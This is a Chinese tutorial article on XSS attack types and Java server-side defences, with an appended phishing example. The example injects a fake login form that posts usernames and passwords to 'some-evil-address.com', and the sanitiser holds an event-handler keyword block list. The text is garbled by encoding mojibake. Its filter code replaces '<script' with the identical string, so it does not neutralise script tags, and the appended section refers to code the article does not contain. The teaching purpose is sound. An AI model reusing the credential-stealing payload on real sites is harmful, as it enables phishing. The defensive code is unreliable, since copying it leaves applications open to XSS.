XSS攻擊以及java應(yīng)對(duì)xss攻擊的解決方案
一. XSS攻擊介紹
1. 前端安全
隨著互聯(lián)網(wǎng)的高速發(fā)展,信息安全問題已經(jīng)成為企業(yè)最為關(guān)注的焦點(diǎn)之一,而前端又是引發(fā)企業(yè)安全問題的高危據(jù)點(diǎn)。在移動(dòng)互聯(lián)網(wǎng)時(shí)代,前端人員除了傳統(tǒng)的 XSS、CSRF 等安全問題之外,又時(shí)常遭遇網(wǎng)絡(luò)劫持、非法調(diào)用 Hybrid API 等新型安全問題。當(dāng)然,瀏覽器自身也在不斷在進(jìn)化和發(fā)展,不斷引入 CSP、Same-Site Cookies 等新技術(shù)來增強(qiáng)安全性,但是仍存在很多潛在的威脅,這需要前端技術(shù)人員不斷進(jìn)行 “查漏補(bǔ)缺”。
2. xss攻擊簡(jiǎn)介
XSS 全稱 Cross Site Scripting,跨站腳本攻擊。XSS攻擊是指黑客往HTML文件中或者DOM中注入惡意腳本,從而在用戶瀏覽頁面時(shí)利用注入的惡意腳本對(duì)用戶實(shí)施攻擊的一種手段。
惡意腳本能夠做事情有:● 竊取Cookie信息。通過document.cookie獲取Cookie信息。
● 監(jiān)聽用戶行為。通過addEventListener接口監(jiān)聽事件。
● 修改DOM。如通過修改DOM偽造登錄窗口,用來欺騙用戶輸入賬號(hào)、密碼等信息。
● 在頁面內(nèi)生成浮窗廣告等
3. xss的攻擊方式
XSS 攻擊方式可以分為三種:存儲(chǔ)型XSS攻擊、反射型XSS攻擊和基于DOM的XSS攻擊。
- 存儲(chǔ)型xss攻擊
黑客利用網(wǎng)站漏洞將惡意腳本提交并存儲(chǔ)到網(wǎng)站服務(wù)器上。當(dāng)用戶瀏覽訪問包含惡意腳本的頁面時(shí),惡意腳本就可以用戶瀏覽器上執(zhí)行,如將用戶的Cookie信息等數(shù)據(jù)上傳到服務(wù)器。

- 反射型xss攻擊
在一個(gè)反射型XSS攻擊過程中,惡意腳本屬于用戶發(fā)送給服務(wù)器請(qǐng)求的一部分,隨后網(wǎng)站又把惡意腳本返回給用戶。當(dāng)惡意腳本在用戶頁面中被執(zhí)行時(shí),就可以利用該腳本做惡意操作。相比存儲(chǔ)型XSS攻擊,Web服務(wù)器是不會(huì)存儲(chǔ)反射型XSS攻擊的惡意腳本。

- 基于DOM的Xss攻擊
基于 DOM 的 XSS 攻擊是不牽涉到頁面 Web 服務(wù)器的。具體來講,黑客通過各種手段將惡意腳本注入用戶的頁面中,比如通過網(wǎng)絡(luò)劫持在頁面?zhèn)鬏斶^程中修改 HTML 頁面的內(nèi)容,這種劫持類型很多,有通過 WiFi 路由器劫持的,有通過本地惡意軟件來劫持的,它們的共同點(diǎn)是在 Web 資源傳輸過程或者在用戶使用頁面的過程中修改 Web 頁面的數(shù)據(jù)。原始頁面內(nèi)容是沒有問題的,黑客是通過各種手段在資源傳輸過程中或者用戶使用頁面過程中修改HTML的內(nèi)容注入惡意腳本。
二. java應(yīng)對(duì)xss攻擊的解決方案
1. 強(qiáng)制修改html敏感標(biāo)簽內(nèi)容
這是一種相對(duì)容易理解的方式,解決思路就是,當(dāng)惡意注入的字段中,包含了類似這種html標(biāo)簽時(shí),后臺(tái)程序代碼中強(qiáng)制替換或更改標(biāo)簽內(nèi)容,這樣存入數(shù)據(jù)庫的內(nèi)容再次返回至頁面時(shí),就不會(huì)以html的形式進(jìn)行執(zhí)行了
/**
* xss特殊字符攔截與過濾
*
* @author zhangcy
* @date 2021-04016
*/
public class XssStrUtils {
/**
* 濾除content中的危險(xiǎn) HTML 代碼, 主要是腳本代碼, 滾動(dòng)字幕代碼以及腳本事件處理代碼
* @param content 需要濾除的字符串
* @return 過濾的結(jié)果
*/
public static String replaceHtmlCode(String content) {
if (null == content) return null;
if (0 == content.length()) return "";
// 需要濾除的腳本事件關(guān)鍵字
String[] eventKeywords = {
"onmouseover", "onmouseout", "onmousedown", "onmouseup", "onmousemove", "onclick", "ondblclick",
"onkeypress", "onkeydown", "onkeyup", "ondragstart", "onerrorupdate", "onhelp", "onreadystatechange",
"onrowenter", "onrowexit", "onselectstart", "onload", "onunload", "onbeforeunload", "onblur",
"onerror", "onfocus", "onresize", "onscroll", "oncontextmenu", "alert"
};
content = replace(content, "<script", "<script", false);
content = replace(content, "</script", "</script", false);
content = replace(content, "<marquee", "<marquee", false);
content = replace(content, "</marquee", "</marquee", false);
content = replace(content, "'", "_", false);// 將單引號(hào)替換成下劃線
content = replace(content, "\"", "_", false);// 將雙引號(hào)替換成下劃線
// 濾除腳本事件代碼
for (int i = 0; i < eventKeywords.length; i++) {
content = replace(content, eventKeywords[i], "_" + eventKeywords[i], false); // 添加一個(gè)"_", 使事件代碼無效
}
return content;
}
/**
* 將字符串 source 中的 oldStr 替換為 newStr, 并以大小寫敏感方式進(jìn)行查找
*
* @param source 需要替換的源字符串
* @param oldStr 需要被替換的老字符串
* @param newStr 替換為的新字符串
*/
private static String replace(String source, String oldStr, String newStr) {
return replace(source, oldStr, newStr, true);
}
/**
* 將字符串 source 中的 oldStr 替換為 newStr, matchCase 為是否設(shè)置大小寫敏感查找
*
* @param source 需要替換的源字符串
* @param oldStr 需要被替換的老字符串
* @param newStr 替換為的新字符串
* @param matchCase 是否需要按照大小寫敏感方式查找
*/
private static String replace(String source, String oldStr, String newStr,boolean matchCase) {
if (source == null) return null;
// 首先檢查舊字符串是否存在, 不存在就不進(jìn)行替換
if (source.toLowerCase().indexOf(oldStr.toLowerCase()) == -1) return source;
int findStartPos = 0;
int a = 0;
while (a > -1) {
int b = 0;
String str1, str2, str3, str4, strA, strB;
str1 = source;
str2 = str1.toLowerCase();
str3 = oldStr;
str4 = str3.toLowerCase();
if (matchCase) {
strA = str1;
strB = str3;
} else {
strA = str2;
strB = str4;
}
a = strA.indexOf(strB, findStartPos);
if (a > -1) {
b = oldStr.length();
findStartPos = a + b;
StringBuffer bbuf = new StringBuffer(source);
source = bbuf.replace(a, a + b, newStr) + "";
// 新的查找開始點(diǎn)位于替換后的字符串的結(jié)尾
findStartPos = findStartPos + newStr.length() - b;
}
}
return source;
}
}
使用這種方式,即使前端惡意注入了某些非法的html標(biāo)簽,經(jīng)過后端的過濾處理,返回的內(nèi)容就不會(huì)執(zhí)行html的相關(guān)操作事件了
2. 利用過濾器過濾非法html標(biāo)簽
第二種思路,考慮在過濾器中添加對(duì)所有請(qǐng)求接口的參數(shù)進(jìn)行參數(shù)的攔截過濾,即程序認(rèn)為的不合法標(biāo)簽都會(huì)自動(dòng)做過濾,至于過濾的規(guī)則,可以借助現(xiàn)有的第三方組件,比如spring框架的htmlUtil類,這里使用hutool工具集提供的相關(guān)API做處理
- 導(dǎo)入依賴
<dependency>
<groupId>cn.hutool</groupId>
<artifactId>hutool-all</artifactId>
<version>5.5.9</version>
</dependency>
- 添加自定義過濾器增強(qiáng)包裝類
public class XssHttpRequestWrapper extends HttpServletRequestWrapper {
public XssHttpRequestWrapper(HttpServletRequest request) {
super(request);
}
@Override
public String getParameter(String name) {
String value = super.getParameter(name);
if(!StringUtils.isEmpty(value)){
value = HtmlUtil.filter(value);
}
return value;
}
@Override
public String[] getParameterValues(String name) {
String[] values = super.getParameterValues(name);
if(values!=null){
for(int i=0;i<values.length;i++){
String value = values[i];
if(!StringUtils.isEmpty(value)){
value = HtmlUtil.filter(value);
}
values[i]=value;
}
}
return values;
}
@Override
public Map<String, String[]> getParameterMap() {
Map<String, String[]> parameters = super.getParameterMap();
Map<String, String[]> map = new LinkedHashMap<>();
if(parameters !=null){
for(String key : parameters.keySet()){
String[] values = parameters.get(key);
for(int i=0;i<values.length;i++){
String value = values[i];
if(!StringUtils.isEmpty(value)){
value = HtmlUtil.filter(value);
}
values[i]=value;
}
map.put(key,values);
}
}
return map;
}
@Override
public String getHeader(String name) {
String value = super.getHeader(name);
if(!StringUtils.isEmpty(value)){
value = HtmlUtil.filter(value);
}
return value;
}
@Override
public ServletInputStream getInputStream() throws IOException {
InputStream in = super.getInputStream();
InputStreamReader reader = new InputStreamReader(in, Charset.forName("UTF-8"));
BufferedReader buffer = new BufferedReader(reader);
StringBuffer body = new StringBuffer();
String line = buffer.readLine();
while (line !=null){
body.append(line);
line = buffer.readLine();
}
buffer.close();
reader.close();
in.close();
Map<String,Object> map = JSONUtil.parseObj(body.toString());
Map<String,Object> result = new LinkedHashMap<>();
for(String key : map.keySet()){
Object val = map.get(key);
if(val instanceof String){
if(!StringUtils.isEmpty(val.toString())){
result.put(key,HtmlUtil.filter(val.toString()));
}
}else {
result.put(key,val);
}
}
String json = JSONUtil.toJsonStr(result);
ByteArrayInputStream bain = new ByteArrayInputStream(json.getBytes());
return new ServletInputStream() {
@Override
public boolean isFinished() {
return false;
}
@Override
public boolean isReady() {
return false;
}
@Override
public void setReadListener(ReadListener readListener) {
}
@Override
public int read() throws IOException {
return bain.read();
}
};
}
}
- 自定義過濾器并注入全局bean
ublic class XssFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest)servletRequest;
XssHttpRequestWrapper requestWrapper = new XssHttpRequestWrapper(request);
filterChain.doFilter(requestWrapper,servletResponse);
}
@Override
public void destroy() {
}
}
@Configuration
public class XSSFilterRegister {
@Bean
public FilterRegistrationBean<XssFilter> RegistTest1(){
//通過FilterRegistrationBean實(shí)例設(shè)置優(yōu)先級(jí)可以生效
FilterRegistrationBean<XssFilter> bean = new FilterRegistrationBean<XssFilter>();
bean.setFilter(new XssFilter());//注冊(cè)自定義過濾器
bean.setName("flilter");//過濾器名稱
bean.addUrlPatterns("/*");//過濾所有路徑
return bean;
}
}
通過這種方式,直接將注入的敏感標(biāo)簽符號(hào)去掉,這樣確保了入庫的數(shù)據(jù)的安全性,返回給頁面的數(shù)據(jù)就不存在非法html標(biāo)簽問題了
附示例:使用虛假表單竊取用戶憑據(jù)
XSS 的用例幾乎是無限的。他們只受攻擊者的獨(dú)創(chuàng)性和您的應(yīng)用程序的漏洞的約束。讓我們探索另一種場(chǎng)景,展示攻擊者如何創(chuàng)建虛假表單以使用 XSS 竊取用戶憑據(jù)。
編碼
對(duì)于此示例,我們將使用與前一個(gè)相同的代碼示例,但有一處更改。我們將把th:textThymeleaf 屬性改回,th:utext這樣我們就可以擺脫提供 HTML 標(biāo)記作為輸入。
攻擊
對(duì)于這種攻擊,攻擊者想要注入并顯示一個(gè)簡(jiǎn)單表單的 HTML 代碼:
<h3>LOGIN</h3> <form action=http://some-evil-address.com> <label for="username">Username: </label> <input type="text" name="username" id="username" /> <label for="password">Password:</label> <input type="password" name="password" id="password"> <input type="submit" value="OK">
請(qǐng)注意,表單的 action 屬性指向攻擊者控制的 URL。這里的想法是誘使毫無戒心的受害者使用此表單提交他們的憑據(jù)。為了做到這一點(diǎn),攻擊者可以簡(jiǎn)單地將表單的 HTML 作為查詢參數(shù)傳遞給易受攻擊的站點(diǎn),并與受害者共享該 URL,這就是所謂的網(wǎng)絡(luò)釣魚攻擊:

當(dāng)然,這是一個(gè)玩具示例。真正的攻擊可能會(huì)使用樣式來使假表格看起來盡可能逼真,目的是引誘更多人進(jìn)入陷阱。
如何預(yù)防
與前面的示例一樣,防止這種攻擊包括轉(zhuǎn)義內(nèi)容,以便不顯示標(biāo)簽。對(duì)于 Thymeleaf 模板語言,這意味著使用安全的th:text屬性。
總結(jié)
到此這篇關(guān)于XSS攻擊以及java應(yīng)對(duì)xss攻擊的解決方案的文章就介紹到這了,更多相關(guān)XSS攻擊及java應(yīng)對(duì)內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
SpringBoot事務(wù)異步調(diào)用引發(fā)的bug解決
本文主要介紹了SpringBoot事務(wù)異步調(diào)用引發(fā)的bug解決,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2023-06-06
Java中var的作用局部變量類型推斷關(guān)鍵字詳解
var是Java 10引入的局部變量類型推斷關(guān)鍵字,簡(jiǎn)化變量聲明語法,不改變強(qiáng)類型特性,編譯時(shí)推斷類型,使用規(guī)則嚴(yán)格,適用于局部變量且立即初始化,適用于復(fù)雜泛型、循環(huán)變量和臨時(shí)局部變量,本文給大家介紹Java中var的作用局部變量類型推斷關(guān)鍵字,感興趣的朋友一起看看吧2025-11-11
SpringBoot注解實(shí)現(xiàn)網(wǎng)絡(luò)限速
本文介紹在 Spring Boot 3 中實(shí)現(xiàn)多維度網(wǎng)絡(luò)帶寬限速的完整方案,基于令牌桶算法手動(dòng)實(shí)現(xiàn)核心邏輯,通過自定義攔截請(qǐng)求、包裝響應(yīng)流、控制輸出速率,實(shí)現(xiàn)對(duì)文件下載、視頻流等場(chǎng)景的精確速度控制,文中通過代碼介紹的非常詳細(xì),需要的朋友可以參考下2026-02-02
Centos中yum方式安裝java的實(shí)現(xiàn)示例
這篇文章主要介紹了Centos中yum方式安裝java的實(shí)現(xiàn)示例,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2020-04-04
取消idea雙擊shift鍵時(shí)出現(xiàn)的全局搜索的問題分析
這篇文章主要介紹了取消idea雙擊shift鍵時(shí)出現(xiàn)的全局搜索的問題分析,本文通過圖文并茂的形式給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友參考下吧2023-10-10
如何巧用HashMap一行代碼統(tǒng)計(jì)單詞出現(xiàn)次數(shù)詳解
這篇文章主要給大家介紹了關(guān)于如何巧用HashMap一行代碼統(tǒng)計(jì)單詞出現(xiàn)次數(shù)的相關(guān)資料,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面來一起學(xué)習(xí)學(xué)習(xí)吧2020-07-07

